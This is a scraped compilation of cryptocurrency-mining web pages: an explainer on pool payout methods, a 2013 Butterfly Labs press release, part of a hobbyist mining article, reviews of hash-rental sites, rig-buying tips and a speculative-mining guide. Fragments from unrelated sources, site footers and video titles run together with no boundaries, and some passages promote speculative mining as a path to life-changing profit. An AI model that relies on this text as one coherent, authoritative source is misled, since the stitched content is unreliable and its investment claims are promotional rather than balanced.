Transaction Fees - Some networks like Bitcoin also have considerable amounts of transactions fees rewarded to miners. These fees are the total of fees paid by users of Bitcoin (to execute transactions). In Dec-2019 this was roughly equal to 3-4% of the Block Reward but as of May-2020 it was above 10%.

[Bitcoin]

Hashing Power - A hash is the output of a hash function. Hash rate is the speed at which a computer is completing an operation in the cryptocurrency's code. Therefore, the amount of hashes are measured in hashes per second. A higher hashrate increases a miner's opportunity of finding the next block and receiving the block reward.
Luck - The luck of a mining pool is probabilistic in nature. Imagine that each miner is given a lottery ticket for a certain amount of hashing power they provide. If you were to provide 1 TH/s of hashing power and the overall hashing power in the network is 10 TH/s then you would receive 1 of 10 total lottery tickets. The probability of you winning the lottery (finding the block reward) would be 10%. So for every 10 blocks found you should statistically find 1 of them. Now imagine that you found 2 out of the 10 blocks, this means that you found a block earlier than you statistically should have on average. You are lucky! Now imagine you found 0 out of 10. This would make you unlucky. Over the long run statistically you should receive on average 1 out of 10 (or 10%) of blocks, but there is short term variance. For a more in depth article on calculating luck check out this article.
Mining Pool- All in all, mining is attempting to unlock each block to get the reward that is in it; the more attempts (hashes) you can perform per second the higher the chances you have to get the reward (i.e. the more lottery tickets you have the higher your chance of winning the lottery). Because miners by themselves typically don't have enough hashing power to consistently find blocks they join a pool that pools everyone's hash power and combines it to hash blocks. With more hashing power it is easier to find blocks. Then, the reward is split among the miners based on the amount of work they contributed and a small fee is given to the pool operator.
Payment Systems.
There are over 15 payment systems but the majority of pools operate on a PPS, FPPS, PPS+ and PPLNS basis. The difference of these will be explored in more detail than the rest.
Pay Per Share or commonly known as PPS offers an instant flat payout for each share that is solved.
Bringing this back to the lottery example, imagine that a miner submits 1 lottery share to the the pool operator. Even if the pool doesn't win the lottery the miner will still get paid 10% of the block reward (if there are 10 total tickets). The miner gets paid on what is statistically probable rather than what actually occurs. Now imagine that the miner submits 1 ticket and it happens to be the winning ticket. The miner still only receives 10% of the block reward.
What this system ultimately does is take out the "luck" and hence variance in a miners payout. Instead the pool operator absorbs all the risk of variance. In the long-run it should balance out to the statistical mean (obtain 10% of blocks) but in the short-run there can be a lot of variance.
Logistically, the payout to the miner is offered immediately from the pool's existing balance of the cryptocurrency. The possibility of cheating the miners by the pool operator and by timing attacks is completely eliminated.
This payment structure is riskier for pool operators given the variance. Usually only large pools with a lot of reserves can afford to take on the variance risk.
PPS is a very common payout method for alt-coins but not for Bitcoin as further explained below.
Full-Pay-Per-Share (FPPS)
In PPS the miner gets paid the expected value from the block reward. But block reward is only part of a miner revenue. The other part is transaction fees.
FPPS is similar to PPS, but not only does it pay out for the expected block reward but also the transaction fees. FPPS calculates a standard transaction fee within a certain period of time (usually past 24 hours or last day) and distributes it to miners.
FPPS increase the miners' earnings by paying out the transaction fees.
Pay Per Last N Share or commonly known as PPLNS is another popular payment method, which offers payment to miners as a % of shares they contribute to the total shares (N).
Usually the amount of shares submitted during a round (the time it takes to find 1 block) is variable due to luck. However under PPLNS it considers a fixed amount of shares (N), that is not constrained by the round boundaries. In this case N shares represents a fixed amount of shares that is not based on luck. Often N is set as twice the difficulty. For this payment structure, as you mine you earn shares meaning the more hashes you do the more shares you earn.
You only get paid out once a block is actually found (not if it is only statistically probable). Using the lottery example, if you commit 1 ticket (share) to a total of 10 (N) tickets in your pool than your payout will be 10% if your pool is able to win the lottery (find a block).
Using this system actually favors constant loyal pool members over pool hoppers because miners aren't incentivized to "quick mine" by mining on round with low amounts of shares.
Pay-Per-Share + (PPS+)
PPS+ is a hybrid of PPS and PPLNS.
The block reward is paid out on the expected value similar to PPS. The Transaction fees "+" are paid out on a PPLNS method, meaning that the pool's actual transaction fees are distributed to miners based on how much hashrate they contributed.
Which Payment Method is Best?
FPPS is generally preferred by miners (holding all else equal) given they do not have to take on the additional risk of variance (luck). PPS+ is usually acceptable if the mining pool is large enough that its finding blocks consistently.
FPPS is the most risky for a pool operator so it usually comes with a slightly higher fee. PPLNS pools have little to no risk for the pool operator so can have very low fees.
Legal Implications?
As pool operators we want to make sure that we are operating in accordance with the law. We went through the Howey Test and determined that neither a PPS or a PPLNS pool is a security.
Already a miner or interested in getting started?
Follow us on Twitter and tweet to us! We're happy to help: https://twitter.com/LuxorTechTeam.
We're also on Discord. Ping us there at https://discord.gg/5qPRbDS.
Other Payment Systems:
Double Geometric Method (DGM)
A hybrid between PPLNS and Geometric reward types that enables to operator to absorb some of the variance risk. Operator receives portion of payout on short rounds and returns it on longer rounds to normalize payments.
Equalized Shared Maximum Pay Per Share (ESMPPS)
Like SMPPS, but equalizes payments fairly among all those who are owed.
Pay On Target (POT)
A high variance PPS variant that pays on the difficulty of work returned to pool rather than the difficulty of work served by pool.
Pay Per Last N Shifts/Groups (PPLNSG)
Similar to PPLNS, but shares are grouped into "shifts" which are paid as a whole.
Proportional (Prop)
When block is found, the reward is distributed among all workers proportionally to how much shares each of them has found.
Recent Shared Maximum Pay Per Share (RSMPPS)
Like SMPPS, but system aims to prioritize the most recent miners first.
Score based system (Score)
A proportional reward, but weighed by time submitted. Each submitted share is worth more in the function of time since start of current round. For each share score is updated by: score += exp(t/C). This makes later shares worth much more than earlier shares, thus the miner's score quickly diminishes when they stop mining on the pool. Rewards are calculated proportionally to scores (and not to shares). (at slush's pool C=300 seconds, and every hour scores are normalized).
Shared Maximum Pay Per Share (SMPPS)
Like Pay Per Share, but never pays more than the pool earns.

[Bitcoin]

BF Labs, Inc. Processes $1 Million Bitcoin Merchant Transaction for Institutional Bitcoin mining Hardware Purchase.
Butterfly Labs Announces $1 Million Down-Payment on Multi-Million Dollar Order for Next Generation Bitcoin mining Hardware. Deposit will help enable production of innovative 28nm Monarch card.
Copy of receipt supplied by Bitpay.
We're pleased to be the preferred hardware supplier for HashTrade,
Overland Park, KS (PRWEB) October 31, 2013.
Butterfly Labs (BF Labs Inc.), the Kansas-based leader in Bitcoin mining technology, has announced that it has processed a payment of One Million dollars in Bitcoin through Bitpay - the largest single transaction ever executed by a Bitcoin payment processor.
These funds represent a down-payment on a multi-million dollar order from HashTrade, a sister company of one of Butterfly Labs' largest existing customers. The multi-PetaHash order is for Butterfly's innovative 28nm Monarch card, and these initial funds will be used to enable production of products which the company will begin delivering in December 2013.
"We're pleased to be the preferred hardware supplier for HashTrade," said Jeff Ownby, VP of Marketing for Butterfly Labs. "Our Monarch cards have been designed for easy deployment in large scale Bitcoin mining operations. The PCI form factor allows operators great flexibility using only common, off the shelf cases & power supplies. In high performance mode, significant performance beyond published figures can be realized. Then, should power conservation be the greater operational need, cards can be run in their efficiency mode with an almost halving of power consumption per unit of work performed."
This is a major endorsement of Butterfly Labs' technology and ability to deliver, from one of the industry's most significant players."Butterfly's technology is robust and reliable and our relationship is very strong," said Greg Bachrach, Co-Founder and CEO of HashTrade. "Having worked with their equipment now for some time, we are confident of Butterfly Labs' ability to deliver based on their multi-generational experience designing, producing and delivering high performance mining equipment. Because of this we feel that Butterfly Labs is one of the only institutional hardware vendors uniquely positioned to deliver exactly what they advertise."
About Butterfly Labs Butterfly Labs (BF Labs, Inc) is a Kansas-based manufacturer of hardware used for securing online transactions in the Bitcoin and other networks. Visit http://www.butterflylabs.com.
Contact Jeff Ownby 708-601-4170 jeff(at)butterflylabs(dot)com.
About Hashtrade HashTrade is a premier data processing organization enabling all individuals to benefit from mining Bitcoins without having to purchase or operate any hardware. HashTrade will soon be offering hashing contracts to the public so anyone interested in profiting from Bitcoin mining will be able to do so in a simple and friendly way. Visit http://www.hashtrade.com.
About BitPay BitPay is a Payment Service Provider (PSP) specializing in eCommerce, B2B, and enterprise solutions for virtual currencies. Visit https://bitpay.com.
Contact Jan Jahosky 407-331-4699 jan(at)bitpay(dot)com.
How a total n00b mined $700 in bitcoins.
We take a Butterfly Labs Bitcoin miner, plug it in, and make it (virtually) rain.
Lee Hutchinson - Jun 29, 2013 10:00 pm UTC.
reader comments.
Share this story.
Share on Facebook Share on Twitter Share on Reddit.
Toiling in the Bitcoin mines.
How a total n00b mined $700 in bitcoins Gold in them bits: Inside the world's most mysterious Bitcoin mining company View more stories.
There is a whirring, whining presence in my dining room. I notice it every time I walk through. Every day, it sucks down about one full kilowatt-hour of electricity. In a year, it will consume almost $100 worth of juice--and that's on top of the $274 it costs to buy the box in the first place. Oh, and it's hot, too. If I moved it into my office and could stand the noise, I could keep a cup of coffee comfortably warm on top of the thing. Why on earth would anyone want such a disagreeable little machine in their home?
The short answer: every day, that machine magically generates something like $20 in bitcoins.
The BFL miner: A video intro.
A newbie and his miner.
Ars Senior Business Editor Cyrus Farivar tapped me on the shoulder a few weeks back with a proposition. "I've got a Butterfly Labs Bitcoin mining box," he explained. "There aren't that many in the wild right now. I'm working on a story about the company, but I'm about to go on vacation. Do you want to see if you can get the thing working while I'm out?"
I was intrigued. Bitcoin? That's the electronic currency that's quickly rocketed from lame nerd project to ludicrously valuable hot topic, right? I didn't know a lot about the world of Bitcoin other than the fact that "mining" them involved people building custom PCs with tons of video cards to handle the math. I certainly didn't know how to "mine" bitcoins myself or what to do with the things once I had them. I just knew that people eventually try to trade them in for cash somehow (but how to do that was also a total mystery).
And yet here was the opportunity to take a piece of hardware I'd never heard of and see if I could use it to magically create some money out of nowhere. I told Cyrus to send me the Butterfly Labs miner. As he trekked off to Peru for his vacation, I settled in with the little black box.
Butterfly Labs is a company that has drawn a fair amount of controversy for what the Bitcoin community at large perceives as a string of broken promises. The company sells ASIC-based Bitcoin miners--machines that are built around customized chips that do nothing except compute SHA-256 hashes very quickly. Its smallest miner (the one I had to get working) is codenamed "Jalapeño" and computes a bit over five billion hashes per second (or 5GH/s). The problem is that Butterfly Labs started selling the machines long before it actually had a product to sell. It began taking paid-in-full preorders back in mid-2012, and thousands of customers opened their wallets for Bitcoin miners ranging from the small 5GH/s miner at $274 all the way up to the large 500Gh/s miner, which costs $22,484.
Butterfly Labs promised certain performance targets to customers--it initially felt confident that its application-specific integrated circuit (ASIC) designs would deliver one billion hashes per second for every 1.1 watt of power consumed. This proved extremely optimistic. Hardware delivery slipped multiple times. Now, a full year later, the first few real live Butterfly Labs boxes are finally being shipped, though no small number (as many as 30) were sent to journalists to review rather than to paying customers.
But when the little black box showed up on my doorstep, I had no idea about the deep and extremely vocal Bitcoin community or the story behind Butterfly Labs. I didn't really even fully understand what the miner did. I simply knew that I wanted to get this thing working and make some money.
Out of the box.
The 5GH/s Jalapeño miner is a black rounded cube with a brushed metal finish. The only connectors on the exterior of the device are on the back: a mini-USB port for data and a power plug. Near the power plug are a series of small red LEDs that the device uses to tell you its status, though there was no documentation in the box to explain what the LEDs meant. The front of the cube contains another red LED to indicate power.
There are two sets of vents, one low on the front and the other high on the rear. The device's internal 80 mm fan draws cooler air up from the front through the fins of the large heat sink mounted on the ASIC chip. It expels the now-warm air out through the top vents.
Rent Bitcoin mining rig.
RentaHash: Rent & Lease Cryptocurrency Mining Equipment?
RentAHash , found online at RentaHash.io, is a mining rig rental platform. Find out how it works today in our review.
What Is RentaHash?
RentAHash , or Rent A Hash, makes it easy to rent various crypto mining rigs, including Scrypt, Ethash, X11, SHA-256, and other miners.
You pay to rent the rigs online. You can view reviews and comments for some of the most popular miners on the platform, including the speeds of each miner and the algorithm in which that miner specializes.
One of the unique things about RentAHash is that it exclusively uses BCH. You cannot send BTC to the platform.
RentaHash Available Mining Algorithms.
RentAHash has all of the following miners available to rent:
Scrypt Ethash SHA-256 X11 X13 X15.
RentaHash Customization Options.
You can customize your miner search based on all of the following options:
Rig Size: Small rigs, big rigs, small farms, medium rigs, and farms, with rigs separated by MH/s hashrates Rental Duration: 3h, 6h, 12h, 24, 48h, 3 days, 7 days, and 14 days Miscellaneous: Support and no support; quality (high or low reviews, based on user feedback)
You can also lease or rent rigs through the platform.
How To Rent A Rig With RentAHash.
RentAHash makes it easy to rent a rig through the platform. Search for rigs using the customization options listed above. Or, pick your rig from the list of the most popular rentals.
Each rig has its own sales page. You can view ratings on that page, as well as a description from the rig's owner. You can view the number of rentals that rig has completed, including the complete rental history for the rig.
Other crucial information includes the price, the hashrate per day, and the mining algorithm.
You can also view a user profile for the owner of the rig, including the number of rigs that owner has listed through RentAHash.
Overall, here's how the rental process works with RentAHash:
You top your account up using BCH using your account's BCH address (do not send BTC) You choose your rig and the duration of the rental period You choose which pool you want to mine (you will need the pool Stratum URL, a worker name, and a worker password) Wait for your BCH payment to be confirmed 1 time if it's not already in your balance Your rig will start mining.
That's it! RentAHash only supports Stratum pools (although 99% of mining pools use Stratum).
RentAHash Fee.
RentAHash charges a fee of 3%. This fee is added on top of the advertised price of the rig. You pay this fee as the renter of the rig.
RentaHash Conclusion.
RentAHash is the new online home of BetaRigs. The BetaRigs website transitioned to become RentAHash in early January 2018.
" Rig " is any device that is used for the act of mining . But what is the difference between mining PCs and special mining rigs? Mining desktop PCs are used for other day to day tasks in addition to mining, as other normal PCs, but the mining rigs are specially-designed for the sole purpose of mining cryptocurrencies such as bitcoin. The mining rigs have no other skills or uses but because of their speciality, they generate the best possible mining process that please you with the maximum return. PCs are not powerful means of mining but if you do not want to spend on a device that does a single task, you can buy a powerful one that does a comparatively good job.

[Bitcoin]

Mining machines, namely rigs, exist in various kinds, powers, prices, power consumption rates, and brands. The device that you choose to do the act of mining with, determines a coefficient of the profit that you will make through this market. So be patient and careful to make a perfect choice.
The first and foremost factor to consider, in choosing a mining machine to buy, is its power or Hash Rate with which it works. Mining machines are different in the rate of hash. But hash rate is not something you can calculate by a formula. It is determined empirically. To reach this, you should ask someone who has used the same kind of machine and has measured how many hashes per second it actually performs for a given hash algorithm. In general there is no guarantee about the data the seller provides. The best way to figure out your hash rate would be to actually run the hardware and see what happens or to ask someone you trust on, who has utilized the same kind of machine, to inform you.
Next, you have to pay attention to the price. The cheaper your rig, the sooner your initial investment will be back. Of course try not to choose a machine so cheap that it has no value. There are different sites and markets where you can see the prices of machines to choose one. At the time of writing this journal, the prices of Bitcoin mining machines fluctuate between the range of 300 to 2,800,000 dollars. You should choose the one most appropriate one for your budget and goals.
In addition, you should be aware of the type of hardware of your future rig. Before the advent of GPUs for computing bitcoins algorithm, CPUs were used. However, GPU renders images more quickly than a CPU due to its parallel processing architecture. This is what enables the GPU to carry out multiple calculations at the same time. The CPU has less Arithmetic Logical Units, and so when it comes to hash required proof of work, its performance is slow. As compared to GPU and CPU mining , ASIC is more preferred. Its mining-hardware solves very complex algorithms. On the other hand, GPU and CPU mining hardware decode graphics algorithms and processor-based algorithms, respectively. However, the attraction GPU mining hardware holds is its offer of more hash power compared to CPU and low electricity cost compared to ASICs.
besides the amount of power consumption of the chosen rig is another salient factor to consider. Power is an expensive energy and if you are a professional miner with a professional site for mining power costs surely is one of your most important considerations. So be careful to choose the most efficient mining rig for your trade. Finally, one can choose among different brands of these digital huge rigs. As you can see, despite the profit potential of mining bitcoin, your Bitcoin mining hardware's upfront and energy costs can actually do harm to your bank account. Picking the wrong hardware could cost you more money to operate than the amount of funds you earn mining bitcoin with it.
AlternativeTo is a free service that helps you find better alternatives to the products you love and hate.
The site is made by Ola and Markus in Sweden, with a lot of help from our friends and colleagues in Italy, Finland, USA, Colombia, Philippines, France and contributors from all over the world. That's right, all the lists of alternatives are crowd-sourced, and that's what makes the data powerful and relevant.
Feel free to send us your questions and feedback on [email protected], in our discussion forums, in our Discord channel or tweet us at @AlternativeTo.
Add an application Frequently Asked Questions AlternativeTo Blog About Privacy Policy Cookie Policy.
Made in Sweden, Fueled by great apps, coffee & good music, version: Release-280.
How to Rent Hash Power For Speculative Crypto Mining in 2020.
Cryptocurrency mining has become increasingly more difficult to participate as time has gone on, not only it takes more mining equipment to stay competent in the increasingly growing industry, but it's also more and more difficult to get your foot in the door.
However, there's an alternative method, that doesn't require the high initial cost to get started, and which is available to anyone. Because you can actually purchase hash power from other miners and participate with speculative mining coins not many are aware of.
That's right, you can actually rent hash power and make decent stable extra income.
Note: Investment (including spec mining) involves risks and profits are not guaranteed!
What is speculative crypto mining? Can you make money with speculative mining? How can you start renting hash power? NiceHash MiningRigRentals How to buy hash power from the marketplace Additional hash renting tips and tricks The bottom line.
What is speculative crypto mining?
Speculative mining or simply (spec mining) is a concept in which cryptocurrency users participate mining newly launched coin in order to profit from future price appreciation.
Contrary to the usual mining behavior in which users mine the most profitable coins, Spec mining means users participate in mining newly launched unknown coins with zero or very little ROI that they expect to establish value over time.
In other words, speculative mining is nothing but investing hash rate into projects that have very low difficulty and which not many people are aware of. These types of projects are less likely to be seen in common places such as Coinmarketcap, or other large websites. And many times these coins are in their early stages which means there may or may not be even mining pools available, the code can have bugs, and it's just a mess, to begin with.
Anyhow this is also where the most cryptocurrency profits are generated with, imagine for example mining Ethereum at its early stage of $1 a coin, and holding on to modern-day, you'd be rolling in cash never having to worry about making money again.
Can you make money with speculative mining?
The obvious answer is: Of course you can, however, it may also be difficult to get started, not only you have to find precious coins which not many are aware of, but you also have to accept that there are no gains without some risks involved.
Successful speculative cryptocurrency mining depends on several factors. First of all, you have to figure your initial investment capital, the mining difficulty, and the current outlook for the future of the coin.
And of course, you also have to keep eye on the middle, long term, and short term profitability. As more miners discover the newly launched coin you are participating, the difficulty also can increase exponentially.
This is why it's important to establish your risk factors, and whether you are mining for fun, or for-profit as each scenario may require you to act differently.
How can you start renting hash power?
You can start mining any coin you like, by following these four simple steps:
Register a new account either on NiceHash or MiningRigRentals. Find the coin you want to mine and register on the pool you want to mine that coin in. Place a new order on the hash power marketplace with the right algorithm. Sit back and relax, check your income at the chosen pool.
And that's about it after you have your rented miner set up, it will keep mining till you run out of funds. Lets now take a more detailed look at what both of these platforms have to offer.
NiceHash is the largest crypto mining hash power marketplace that connects cryptocurrency miners either to purchase or sell hash power. The platform offers an intuitive interface that lets users easily either sell hash power by pointing their miners at NiceHash while simultaneously giving buyers the option to point this hash rate at their chosen cryptocurrency.
For miners interested in selling hash power, the platform automatically chooses the highest most profitable algorithms to mine (based on buyers' orders) and converts profits automatically to Bitcoin.
NiceHash hash power marketplace works entirely also on Bitcoin, meaning it's the currency used for both purchasing and selling hash power. And although buyers can deposit many other cryptocurrencies, in order to finalize hash power order one has to still exchange those other cryptocurrencies to Bitcoin.
All in all, NiceHash has a total of 34 mining algorithms supported including of course Bitcoins original Sha-256, Scrypt, DaggerHashimoto, CryptoNight, Blake, Equihash, and many others.
And because NiceHash prioritizes the most popular stratum mining pool protocol, the amount of mining pools capable of being used is also quite significant.
To get started renting hash power with NiceHash is actually quite simple, all you have to do is to register an account with the platform using your email address. From where you can deposit Bitcoin or other cryptocurrencies and create an order for the hash power.
Note that NiceHash also operates as an exchange, and no KYC documents whatsoever are required as long as you do not want to use fiat currencies.
MiningRigRentals or simply MRR is one of the largest and most powerful cryptocurrency mining hash rate marketplaces.
The platform offers a large set of advanced tools for miners interested in leasing their mining rigs. This includes the ability to lease your mining rig at the competitive price you want, meaning renters are forced to rent and the price you set.
Moreover, leasing has very little risk as you can also set failover pools to mine directly on the pool while waiting for someone to rent from you.
Both buyers and sellers can pay and get paid on multiple cryptocurrencies such as Bitcoin, Litecoin, Bcash, Ethereum, or Dash.
MiningRigRentals also absolutely dominates when it comes to the number of mining algorithms they support, with a total of over 120+ algorithms users are sure to find one to suit them.
To get started with MiningRigRentals nothing but an account is required, simply register with your email address, and deposit some cryptocurrencies to get begin with.
Note the MRR platform is not operating any type of exchange services, therefore you cannot change your currency of choice within the platform, and must do so before the deposit.
How to buy hash power from the marketplace.
This is a simplified step by step section to guide you through the process of purchasing hash power on either NiceHash or MiningRigRentals hash power marketplaces.
To get started you'll have to register either on NiceHash or MiningRigRentals and deposit some cryptocurrencies. While MiningRigRentals have no minimum order size, the minimum order size for NiceHash is 0.005 BTC. Make sure you have at least this amount in your account or you cannot create an order, to begin with! Before you create any orders, you must figure out what coin you want to mine, and which pool you want to mine that coin in. Proper research must be done at this point to get everything correct going forward. We suggest checking both WhatToMine and CoinWarz for coin profitability and pool examples. Register at your chosen pool provider, and create a worker. Each pool usually has a detailed help section on how to do this, as it can be slightly different for each pool but the concept is always the same. (Worker requires both username and password.) Start the hash power order process by choosing your algorithm, note that both platforms have a slightly different approach to this, as with NiceHash buyers set the price, while in MiningRigRentals sellers set the price. Add the required pool information on the hash power market order. This means you have to make the stratum server of your miner to point at the right pool such as: " stratum+tcp://stratum.slushpool.com:3333″ don't forget to include the worker username and password. (Verify your pool information before making an order.) If everything is correct with the algorithm you've chosen and the pool you want to mine, simply place a new order on the hash power marketplace. And that's it, you can now check your income at a chosen pool. Note that the pool itself is responsible for your mining rewards. And the hash power marketplaces only guarantee the delivery of hashing power you purchased.

[Bitcoin]

Nicehash OS (NHOS) How to Install, Setup and Configure *Updated for 2020*|26:28

[Bitcoin]

Why Hive OS is the best Mining operation system we have so far.|4:19

[Bitcoin]

Additional hash renting tips and tricks.
Here are some additional tips and tricks that you should be aware of.
When purchasing hash power it's better to specify the time limit for a longer period (minimum 24 hours), unless you want to push an absurd amount of hash power at any given time. (This is a sure way of losing money unless you know what you are doing.) NiceHash low priced orders. If you have the patience you don't have to get into mining immediately, but instead, you can choose to wait for miners to pick up your order during a long enough timeframe. (You can also move the order higher without additional cost.) If for any reason, any specific cryptocurrency has a quick decrease with its mining difficulty, then there's also an equally higher chance that a large mining hash rate could, in turn, turn some real profits rather quickly as well. Whenever the Ethereum network is clocked up, there's a chance to earn some easy profits by simply mining on a pool, which pays both transaction fees as well as a block reward.
Hash power marketplaces are quite interesting concepts from a lot of perspectives, not only they can allow 51% attack on smaller coins, money laundering opportunities, and countless other activities, including huge advantages when it comes to trading illiquid markets.
Since new coins can be picked for pennies, if you choose right, it doesn't take more then one home run to change your life forever. And not only that with proper research and right market conditions one can actually mine even the regular coins and turn some profit.
So if you are interested in mining or trading cryptocurrencies in general, then we definitely suggest you check out what speculative mining is all about, and what is achievable. As both platforms, NiceHash and MiningRigRentals come with years of experience within the cryptocurrency hash rate rental mining industry making it super easy, to begin with.
That being said, now it's time to hear what you think: So have you ever thought of trying speculative mining before?
Here's also some other articles you might find interesting:
Mining Rig Rentals - Lease Working Cryptocurrency Equipment?
MiningRigRentals.com promises to be the faster and smarter way to rent or lease mining rigs. Find out how the site works today in our review.
What is MiningRigRentals.com?
Mining Rig Rentals , or MRR, lets you lease or rent cryptocurrency mining rigs. The site is catered towards beginners who want to try cryptocurrency mining - as well as veterans who want to increase their hash in preparation for a coin launch. The website promises to be a one stop shop for all your cryptocurrency mining needs.
In addition to offering mining rigs, the company offers its own mining pool. The pool currently supports SHA256, X11, and Scrypt.
When renting or leasing rigs through MiningRigRentals, you can pay using Bitcoin and Litecoin.
Meanwhile, people who own miners can list their rig for lease on MRR. You can make money from your unused or under-used mining rigs.
How Does Mining Rig Rentals Work?
Renting or leasing a rig with MiningRigRentals is straightforward. You sign up for the website, then fund your account with Bitcoin or Litecoin. Then, choose the rig you want to rent.
You can make rental choices based on the "actual" hash rate. MiningRigRentals has a system that tracks the complete hash rate history of all mining rigs. You can view this history in simple graphs.
Meanwhile, live hashrate graphs are available when you're viewing an individual rig. You can also view an aggregate of all your rented rigs from your rental control panel.
Once you've rented or leased a mining rig, you don't actually get that rig at your home address. Instead, the rig is kept at the rig owner's location - wherever that may be. You "effectively" own the rig for that period of time, and can use it however you like. However, the rig won't be delivered to your address.
Mining Rig Rentals Features.
What makes Mining Rig Rentals different from other mining providers? Here are some of the key features and distinctions:
Make rental choices based on the actual hash rate, tracked over time for the complete history of a rig View your entire set of rental rigs, including their hash performance, at a glance Backup pools; if you've ever participated in a coin launch, only to find your first pool choice isnt' up and running, then the Mining Rig Rentals system lets you set up to 5 pools in a fail over Multiple choices, and Mining Rig Rentals is committed to releasing rental channels "for any and all active algorithms" Extensive support staff, including an active network of developers and a robust support ticket system Backend proxy system coded 100% in fast C++ for fast reaction times and 99.9% uptime Refunds are precisely calculated to return what you are owed in accepted shares versus what was advertised Rentals are reviewed for low performance to ensure customers are getting the exact hashrate they're paying for.
Benefits for Rig Owners.
Rig owners can list their rigs for lease on Mining Rig Rentals. Why would they do that? Here are some of the advertised benefits according to the platform:
Avoid messing around with different pools and use the MRR pool; it's easy to join, and you just click the button to add the MRR pool to your config automatically, then connect your miner to the rig to begin earning profits Listing your rig allows renters to choose to lease your rig at the prices you want; rig owners can maximize profit for little risk You mine directly to your configured pool when your rig isn't rented You receive any rental proceeds 12 hours after the rental ends; you don't need to wait days for the pool to pay you when you can get paid within half a day Easy withdrawals; you can enable automatic withdrawals, in which case funds are sent to your BTC or LTC address anytime your account reaches a certain balance Website pool manager that allows you to change what pool your miner is connected to from the MRR website (5 pools can be configured with a fail over) Hash rate graphs that give you an up-to-the-minute moving average No fee for using the MRR website or service Robust accounting system where you can see all of your history and how much money you made.
Who's Behind Mining Rig Rentals?
The MiningRigRentals.com domain was registered in February 2014. The site appears to have been active since April 2014. They describe themselves as "the eHarmony of the mining community" and list their address as New York City on their Twitter page. Aside from that, however, we can't find much public information about who's running the company.
Nevertheless, Mining Rig Rentals has been active and available online for 3.5 years at this point, and they appear to be a legitimate, trusted service based on what we can find online.